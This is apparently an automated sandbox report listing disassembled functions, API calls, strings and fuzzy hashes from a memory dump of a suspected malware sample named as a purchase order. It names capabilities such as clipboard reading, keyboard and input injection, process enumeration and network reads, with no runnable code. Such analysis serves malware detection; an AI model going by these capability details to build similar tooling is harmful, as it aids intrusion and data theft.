Opcode ID: 56b395d1b7441155ee1d78469f99a9871a9e2360f64803e3ab449944eb02724f
Instruction ID: 689f190a2b8ca197395c4559ba4ec64c13dad074e2778b61c05f6be918bdb8b0
Opcode Fuzzy Hash: 56b395d1b7441155ee1d78469f99a9871a9e2360f64803e3ab449944eb02724f
Instruction Fuzzy Hash: A8319331200500ABD310EF25DD89B6EB7A8EF44725F10866EF855E73D1DBB4AC818B99

Function 0044663B Relevance: 11.4, APIs: 1, Strings: 5, Instructions: 895COMMON

Download Yara Rule

Strings

VUUU, xrefs: 004469CF
ERCP, xrefs: 00446722
XjH, xrefs: 0044671B
VUUU, xrefs: 00446A3E
VUUU, xrefs: 004469EC

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID:
String ID: ERCP$VUUU$VUUU$VUUU$XjH
API String ID: 0-2872873767
Opcode ID: 34fecdbc504fccc055e136d4951117c2a740426f4eee1b738e863fbded63ce7f
Instruction ID: d175e7d0ae6fb3d700f9da8fb6b70819649eb02c4ceaf458d011f7582104736e
Opcode Fuzzy Hash: 34fecdbc504fccc055e136d4951117c2a740426f4eee1b738e863fbded63ce7f
Instruction Fuzzy Hash: D772D871A042198BEF24CF58C8807AEB7F1EB42314F25829BD859A7380D7799DC5CF5A

Function 004755C4 Relevance: 10.6, APIs: 7, Instructions: 148processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00475608
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00475618
__wsplitpath.LIBCMT ref: 00475644

Part of subcall function 00413A0E: __wsplitpath_helper.LIBCMT ref: 00413A50

_wcscat.LIBCMT ref: 00475657
__wcsicoll.LIBCMT ref: 0047567B
Process32NextW.KERNEL32(00000000,?), ref: 004756AB
CloseHandle.KERNEL32(00000000), ref: 004756BA

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wcsicoll__wsplitpath__wsplitpath_helper_wcscat
String ID:
API String ID: 2547909840-0
Opcode ID: 9e44ac92eedd99fdf3f2932738b6949334d3f24a3592eb41664da5fdf167909f
Instruction ID: 52239f647ae7113ca4c6e3167181772f82882466072c53a1302db900a9aecbbd
Opcode Fuzzy Hash: 9e44ac92eedd99fdf3f2932738b6949334d3f24a3592eb41664da5fdf167909f
Instruction Fuzzy Hash: B3518671900618ABDB10DF55CD85FDE77B8EF44704F1084AAF509AB282DA75AF84CF68

Function 00452492 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 128filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00401B10: _wcslen.LIBCMT ref: 00401B11
Part of subcall function 00401B10: _memmove.LIBCMT ref: 00401B57

FindFirstFileW.KERNEL32(?,?), ref: 004524DF
Sleep.KERNEL32(0000000A), ref: 0045250B
FindNextFileW.KERNEL32(?,?), ref: 004525E9
FindClose.KERNEL32(?), ref: 004525FF

Strings

\VH, xrefs: 00452583
*.*, xrefs: 004524C0

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Find$File$CloseFirstNextSleep_memmove_wcslen
String ID: *.*$\VH
API String ID: 2786137511-2657498754
Opcode ID: 952b61541a12346a9a2631e93aef0720ba9757898c7ad2f9180af277910d7a38
Instruction ID: de376bcde865418ddd8e10142a6165d1fec8b8ecf5afc9fd422e88b207ce0255
Opcode Fuzzy Hash: 952b61541a12346a9a2631e93aef0720ba9757898c7ad2f9180af277910d7a38
Instruction Fuzzy Hash: 37417F7190021DABDB14DF64CD58AEE77B4AF49305F14445BEC09A3281E678EE49CB98

Function 0041A208 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 00421FC1
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00421FD6
UnhandledExceptionFilter.KERNEL32(pqI), ref: 00421FE1
GetCurrentProcess.KERNEL32(C0000409), ref: 00421FFD
TerminateProcess.KERNEL32(00000000), ref: 00422004

Strings

pqI, xrefs: 00421FDC

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID: pqI
API String ID: 2579439406-2459173057
Opcode ID: 25dc777f16e4295b66819c01749bb17431433dcbcd396824bac5e12fb106518c
Instruction ID: 2caf929301e55fbdfba35cdc3931bb3174c20cf3198a7c5bb5494214f042e870
Opcode Fuzzy Hash: 25dc777f16e4295b66819c01749bb17431433dcbcd396824bac5e12fb106518c
Instruction Fuzzy Hash: 9E21CDB45392059FCB50DF65FE456483BA4BB68304F5005BBF90987371E7B969818F0D

Function 0043333C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

__wcsicoll.LIBCMT ref: 00433349
mouse_event.USER32(00000800,00000000,00000000,00000078,00000000), ref: 0043335F
__wcsicoll.LIBCMT ref: 00433375
mouse_event.USER32(00000800,00000000,00000000,00000088,00000000), ref: 0043338B

Strings

DOWN, xrefs: 0043336F

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: __wcsicollmouse_event
String ID: DOWN
API String ID: 1033544147-711622031
Opcode ID: 3af7a305a716ba131119f47d61043d9bc75f7fbd5de0530911e4e2de0579c383
Instruction ID: c5effa3e7e2998e6ee15a8e10ce6e2e5d36a5fc043d4170c53cc9f091e4fe068
Opcode Fuzzy Hash: 3af7a305a716ba131119f47d61043d9bc75f7fbd5de0530911e4e2de0579c383
Instruction Fuzzy Hash: 78F0A0726846103AF80026947C02EFB334C9B26767F004023FE0CD1280EA59290557BD

Function 0044C37A Relevance: 7.6, APIs: 5, Instructions: 145windowkeyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 0044C3D2
SetKeyboardState.USER32(00000080), ref: 0044C3F6
PostMessageW.USER32(00000000,00000101,?,?), ref: 0044C43A
PostMessageW.USER32(00000000,00000105,?,?), ref: 0044C472
SendInput.USER32(00000001,?,0000001C), ref: 0044C4FF

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: KeyboardMessagePostState$InputSend
String ID:
API String ID: 3031425849-0
Opcode ID: 0ab52cc7f1a00f618f34bf6b1006ae93bda3478e58ada741bb1ac89fd44d8d1c
Instruction ID: ca9f4cb769efad0e1be190fe8763212e5a79bd7c4ee8908ff6f5a5d8a4a0dc9b
Opcode Fuzzy Hash: 0ab52cc7f1a00f618f34bf6b1006ae93bda3478e58ada741bb1ac89fd44d8d1c
Instruction Fuzzy Hash: 4D415D755001082AEB109FA9DCD5BFFBB68AF96320F04815BFD8456283C378D9518BF8

Function 00476619 Relevance: 7.6, APIs: 5, Instructions: 140networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00465225: inet_addr.WSOCK32(?), ref: 00465249

socket.WSOCK32(00000002,00000002,00000011,?,00000000), ref: 0047666F
WSAGetLastError.WSOCK32(00000000), ref: 00476692

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: ErrorLastinet_addrsocket
String ID:
API String ID: 4170576061-0
Opcode ID: beba4ad3326242fe02a37a331f69581919bdb462f679bf8c0e3d41d719e28549
Instruction ID: b6cffcacb6afaf0b8cd9bee7f3c7ce362d61c656181a10c6507bcc72ef542d5a
Opcode Fuzzy Hash: beba4ad3326242fe02a37a331f69581919bdb462f679bf8c0e3d41d719e28549
Instruction Fuzzy Hash: 604129326002005BD710EF39DC86F5A73D59F44728F15866FF944AB3C2DABAEC418799

Function 0047A330 Relevance: 7.6, APIs: 5, Instructions: 71windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0046F3C1: IsWindow.USER32(00000000), ref: 0046F3F1

IsWindowVisible.USER32 ref: 0047A368
IsWindowEnabled.USER32 ref: 0047A378
GetForegroundWindow.USER32(?,?,?,00000001), ref: 0047A385
IsIconic.USER32 ref: 0047A393
IsZoomed.USER32 ref: 0047A3A1

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: 0a48a302b729025e65be405b7f5f19fe679dbad6397f14c7d9a4bdd7ec3e43df
Instruction ID: 143e3079ffab126fd184b85051f6534cdea6adf6d01d93e69c1b4810180b6228
Opcode Fuzzy Hash: 0a48a302b729025e65be405b7f5f19fe679dbad6397f14c7d9a4bdd7ec3e43df
Instruction Fuzzy Hash: 8F11A2322001119BE3219F2ADC05B9FB798AF80715F15842FF849E7250DBB8E85187A9

Function 0047839D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 228comCOMMON

Download Yara Rule

APIs

Part of subcall function 004426CD: _wcslen.LIBCMT ref: 004426F9

CoInitialize.OLE32(00000000), ref: 00478442
CoCreateInstance.OLE32(00482A08,00000000,00000001,004828A8,?), ref: 0047845B
CoUninitialize.OLE32 ref: 0047863C

Strings

.lnk, xrefs: 004783EB, 004783FE

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_wcslen
String ID: .lnk
API String ID: 886957087-24824748
Opcode ID: a78490bbd6710ed4fb80770143ba5b6b6d69e34379d2ac1719b679a46047f49b
Instruction ID: cf4755465b87a828534c2837f83e1451e93ee4f6fe559e45c0b7480b45348b92
Opcode Fuzzy Hash: a78490bbd6710ed4fb80770143ba5b6b6d69e34379d2ac1719b679a46047f49b
Instruction Fuzzy Hash: 17816D70344301AFD210EB54CC82F5AB3E5AFC8B18F10896EF658DB2D1DAB5E945CB96

Function 0046DC80 Relevance: 6.1, APIs: 4, Instructions: 70clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(?), ref: 0046DCE7
IsClipboardFormatAvailable.USER32(0000000D), ref: 0046DCF5
GetClipboardData.USER32(0000000D), ref: 0046DD01
CloseClipboard.USER32 ref: 0046DD0D
GlobalLock.KERNEL32(00000000), ref: 0046DD37
CloseClipboard.USER32 ref: 0046DD41
IsClipboardFormatAvailable.USER32(00000001), ref: 0046DD81
GetClipboardData.USER32(00000001), ref: 0046DD8D
CloseClipboard.USER32 ref: 0046DD99

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Clipboard$Close$AvailableDataFormat$GlobalLockOpen
String ID:
API String ID: 15083398-0
Opcode ID: 15add7cba21d4e7b0994eb4f29ae7fc89ecef22f443925247f1b4e4ac981ab14
Instruction ID: df02eb04a95629b292fb88db9571ebb8a4b5ed240788a0c572d8156b6d3d2bc0
Opcode Fuzzy Hash: 15add7cba21d4e7b0994eb4f29ae7fc89ecef22f443925247f1b4e4ac981ab14
Instruction Fuzzy Hash: 1A0128326042416BC311BBB99C8596E7B64EF4A324F04097FF984A72C1EB74A912C3A9

Function 0044F430 Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 458COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0044D011

Strings

U, xrefs: 0044FB88
\, xrefs: 0044D061

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: _memmove
String ID: U$\
API String ID: 4104443479-100911408
Opcode ID: 8409e1e1a3b6e8568ef346b3eec2e6609d783923d36277a6c09bfee55c093031
Instruction ID: 961864e7757f6edfa256f53df2fe8495351bb1c33360f7104140ceff5b52ad59
Opcode Fuzzy Hash: 8409e1e1a3b6e8568ef346b3eec2e6609d783923d36277a6c09bfee55c093031
Instruction Fuzzy Hash: 7002A070E002499FEF28CF69C4907AEBBF2AF95304F2481AED45297381D7396D4ACB55

Function 0045CAFA Relevance: 4.6, APIs: 3, Instructions: 130fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,?), ref: 0045CB1F
FindNextFileW.KERNEL32(00000000,?), ref: 0045CB7C
FindClose.KERNEL32(00000000,00000001,00000000), ref: 0045CBAB

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: b82a98c6df9a243ef4fbf3c667c5144d50f68704456ba494e21579813087d3e5
Instruction ID: f333144462bda28c064cc07c1e05bb1389ec512a64b809c533c1c3d7cc497df0
Opcode Fuzzy Hash: b82a98c6df9a243ef4fbf3c667c5144d50f68704456ba494e21579813087d3e5
Instruction Fuzzy Hash: 6741DF716003019FC710EF69D881A9BB3E5FF89315F108A6EE9698B351DB75F844CB94

Function 004339B6 Relevance: 4.5, APIs: 3, Instructions: 28fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,00000000), ref: 004339C7
FindFirstFileW.KERNEL32(?,?), ref: 004339D8
FindClose.KERNEL32(00000000), ref: 004339EB

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: FileFind$AttributesCloseFirst
String ID:
API String ID: 48322524-0
Opcode ID: 957631a30c41d6cd228e989780156951a90b63876f33aac8b2b1d3c9657f363e
Instruction ID: b419dbaef297d354eb99830e4178f101d1a7f75c7260f3cbf0392e7d05c3e8e7
Opcode Fuzzy Hash: 957631a30c41d6cd228e989780156951a90b63876f33aac8b2b1d3c9657f363e
Instruction Fuzzy Hash: 22E092328145189B8610AA78AC0D4EE779CDF0A236F100B56FE38C21E0D7B49A9047DA

Function 004422FE Relevance: 3.1, APIs: 2, Instructions: 89networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(?,?,00000000,00000000), ref: 0044231E
InternetReadFile.WININET(?,00000000,?,?), ref: 00442356

Part of subcall function 004422CB: GetLastError.KERNEL32 ref: 004422E1

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Internet$AvailableDataErrorFileLastQueryRead
String ID:
API String ID: 901099227-0
Opcode ID: b48fbef154557e42056369557a390c5e15e1cd9efc8ac9760c34eb316c367bda
Instruction ID: 2cb050104b41b6b223ad4d4b8d529f91c68f3ac810c45c6f1fc1690b5501c343
Opcode Fuzzy Hash: b48fbef154557e42056369557a390c5e15e1cd9efc8ac9760c34eb316c367bda
Instruction Fuzzy Hash: B32174752002047BFB10DE26DC41FAB73A8EB54765F40C42BFE059A141D6B8E5458BA5

Function 0047EA6F Relevance: 2.0, APIs: 1, Instructions: 502COMMON

Download Yara Rule

APIs

DefDlgProcW.USER32(?,?,?,?), ref: 0047EA9E

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Proc
String ID:
API String ID: 2346855178-0
Opcode ID: abcbf0d1afc1a497e280cfdffd4bd47b828388575322d1f456f5668f6881d692
Instruction ID: f892bfb12232205f5f58103f0897237a3558493ed3735c4837d976d353c396a9
Opcode Fuzzy Hash: abcbf0d1afc1a497e280cfdffd4bd47b828388575322d1f456f5668f6881d692
Instruction Fuzzy Hash: 82B1167330C1182DF218A6AABC81EFF679CD7C5779B10863FF248C55C2D62B5821A1B9

Function 0045A370 Relevance: 1.5, APIs: 1, Instructions: 24keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 0045A38B

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: 458ede1686394d551c7eb4c8b41db034409c2976cc7efd11918dc51f9e1a79d5
Instruction ID: ec784d9e1adcb2c5bdb0852901797f150ca91aa996cd98963819779bf85d9a24
Opcode Fuzzy Hash: 458ede1686394d551c7eb4c8b41db034409c2976cc7efd11918dc51f9e1a79d5
Instruction Fuzzy Hash: D8E0DF352002029FC300EF66C84495AB7E8EF94368F10883EFD45D7341EA74E80087A6

Function 00436CD7 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

